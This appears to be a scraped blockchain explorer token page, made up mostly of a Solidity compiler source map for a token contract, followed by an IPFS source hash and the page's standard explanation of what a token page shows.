10227:18;:26::i;:::-;-1:-1:-1;;;;;10210:14:0;;;;;;:9;:14;;;;;:43;10271:18;10280:9;10271:6;:18;:::i;:::-;10264:25;10054:243;-1:-1:-1;;;;10054:243:0:o;1325:136::-;1383:7;1410:43;1414:1;1417;1410:43;;;;;;;;;;;;;;;;;:3;:43::i;2095:223::-;2215:7;2250:12;2243:5;2235:28;;;;-1:-1:-1;;;2235:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2274:9:0;2286:5;2290:1;2286;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2438:248::-;2506:6;2514;2567:2;2555:9;2546:7;2542:23;2538:32;2535:52;;;2583:1;2580;2573:12;2535:52;-1:-1:-1;;2606:23:1;;;2676:2;2661:18;;;2648:32;;-1:-1:-1;2438:248:1:o;2691:127::-;2752:10;2747:3;2743:20;2740:1;2733:31;2783:4;2780:1;2773:15;2807:4;2804:1;2797:15;2823:1121;2907:6;2938:2;2981;2969:9;2960:7;2956:23;2952:32;2949:52;;;2997:1;2994;2987:12;2949:52;3037:9;3024:23;3066:18;3107:2;3099:6;3096:14;3093:34;;;3123:1;3120;3113:12;3093:34;3161:6;3150:9;3146:22;3136:32;;3206:7;3199:4;3195:2;3191:13;3187:27;3177:55;;3228:1;3225;3218:12;3177:55;3264:2;3251:16;3286:2;3282;3279:10;3276:36;;;3292:18;;:::i;:::-;3338:2;3335:1;3331:10;3370:2;3364:9;3433:2;3429:7;3424:2;3420;3416:11;3412:25;3404:6;3400:38;3488:6;3476:10;3473:22;3468:2;3456:10;3453:18;3450:46;3447:72;;;3499:18;;:::i;:::-;3535:2;3528:22;3585:18;;;3619:15;;;;-1:-1:-1;3661:11:1;;;3657:20;;;3689:19;;;3686:39;;;3721:1;3718;3711:12;3686:39;3745:11;;;;3765:148;3781:6;3776:3;3773:15;3765:148;;;3847:23;3866:3;3847:23;:::i;:::-;3835:36;;3798:12;;;;3891;;;;3765:148;;;3932:6;2823:1121;-1:-1:-1;;;;;;;;2823:1121:1:o;4157:388::-;4225:6;4233;4286:2;4274:9;4265:7;4261:23;4257:32;4254:52;;;4302:1;4299;4292:12;4254:52;4341:9;4328:23;4360:31;4385:5;4360:31;:::i;:::-;4410:5;-1:-1:-1;4467:2:1;4452:18;;4439:32;4480:33;4439:32;4480:33;:::i;:::-;4532:7;4522:17;;;4157:388;;;;;:::o;4550:127::-;4611:10;4606:3;4602:20;4599:1;4592:31;4642:4;4639:1;4632:15;4666:4;4663:1;4656:15;4682:422;4771:1;4814:5;4771:1;4828:270;4849:7;4839:8;4836:21;4828:270;;;4908:4;4904:1;4900:6;4896:17;4890:4;4887:27;4884:53;;;4917:18;;:::i;:::-;4967:7;4957:8;4953:22;4950:55;;;4987:16;;;;4950:55;5066:22;;;;5026:15;;;;4828:270;;;4832:3;4682:422;;;;;:::o;5109:806::-;5158:5;5188:8;5178:80;;-1:-1:-1;5229:1:1;5243:5;;5178:80;5277:4;5267:76;;-1:-1:-1;5314:1:1;5328:5;;5267:76;5359:4;5377:1;5372:59;;;;5445:1;5440:130;;;;5352:218;;5372:59;5402:1;5393:10;;5416:5;;;5440:130;5477:3;5467:8;5464:17;5461:43;;;5484:18;;:::i;:::-;-1:-1:-1;;5540:1:1;5526:16;;5555:5;;5352:218;;5654:2;5644:8;5641:16;5635:3;5629:4;5626:13;5622:36;5616:2;5606:8;5603:16;5598:2;5592:4;5589:12;5585:35;5582:77;5579:159;;;-1:-1:-1;5691:19:1;;;5723:5;;5579:159;5770:34;5795:8;5789:4;5770:34;:::i;:::-;5840:6;5836:1;5832:6;5828:19;5819:7;5816:32;5813:58;;;5851:18;;:::i;:::-;5889:20;;5109:806;-1:-1:-1;;;5109:806:1:o;5920:140::-;5978:5;6007:47;6048:4;6038:8;6034:19;6028:4;6007:47;:::i;6065:168::-;6138:9;;;6169;;6186:15;;;6180:22;;6166:37;6156:71;;6207:18;;:::i;6238:356::-;6440:2;6422:21;;;6459:18;;;6452:30;6518:34;6513:2;6498:18;;6491:62;6585:2;6570:18;;6238:356::o;6939:127::-;7000:10;6995:3;6991:20;6988:1;6981:31;7031:4;7028:1;7021:15;7055:4;7052:1;7045:15;7071:135;7110:3;7131:17;;;7128:43;;7151:18;;:::i;:::-;-1:-1:-1;7198:1:1;7187:13;;7071:135::o;7211:251::-;7281:6;7334:2;7322:9;7313:7;7309:23;7305:32;7302:52;;;7350:1;7347;7340:12;7302:52;7382:9;7376:16;7401:31;7426:5;7401:31;:::i;8388:306::-;8476:6;8484;8492;8545:2;8533:9;8524:7;8520:23;8516:32;8513:52;;;8561:1;8558;8551:12;8513:52;8590:9;8584:16;8574:26;;8640:2;8629:9;8625:18;8619:25;8609:35;;8684:2;8673:9;8669:18;8663:25;8653:35;;8388:306;;;;;:::o;8978:277::-;9045:6;9098:2;9086:9;9077:7;9073:23;9069:32;9066:52;;;9114:1;9111;9104:12;9066:52;9146:9;9140:16;9199:5;9192:13;9185:21;9178:5;9175:32;9165:60;;9221:1;9218;9211:12;12343:125;12408:9;;;12429:10;;;12426:36;;;12442:18;;:::i;12828:128::-;12895:9;;;12916:11;;;12913:37;;;12930:18;;:::i;12961:980::-;13223:4;13271:3;13260:9;13256:19;13302:6;13291:9;13284:25;13328:2;13366:6;13361:2;13350:9;13346:18;13339:34;13409:3;13404:2;13393:9;13389:18;13382:31;13433:6;13468;13462:13;13499:6;13491;13484:22;13537:3;13526:9;13522:19;13515:26;;13576:2;13568:6;13564:15;13550:29;;13597:1;13607:195;13621:6;13618:1;13615:13;13607:195;;;13686:13;;-1:-1:-1;;;;;13682:39:1;13670:52;;13777:15;;;;13742:12;;;;13718:1;13636:9;13607:195;;;-1:-1:-1;;;;;;;13858:32:1;;;;13853:2;13838:18;;13831:60;-1:-1:-1;;;13922:3:1;13907:19;13900:35;13819:3;12961:980;-1:-1:-1;;;12961:980:1:o;13946:217::-;13986:1;14012;14002:132;;14056:10;14051:3;14047:20;14044:1;14037:31;14091:4;14088:1;14081:15;14119:4;14116:1;14109:15;14002:132;-1:-1:-1;14148:9:1;;13946:217::o

Swarm Source

ipfs://e5af3a8274c892627561d023e038acd551d3fec318b4dc2bc6b9b8fe25d7b02e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.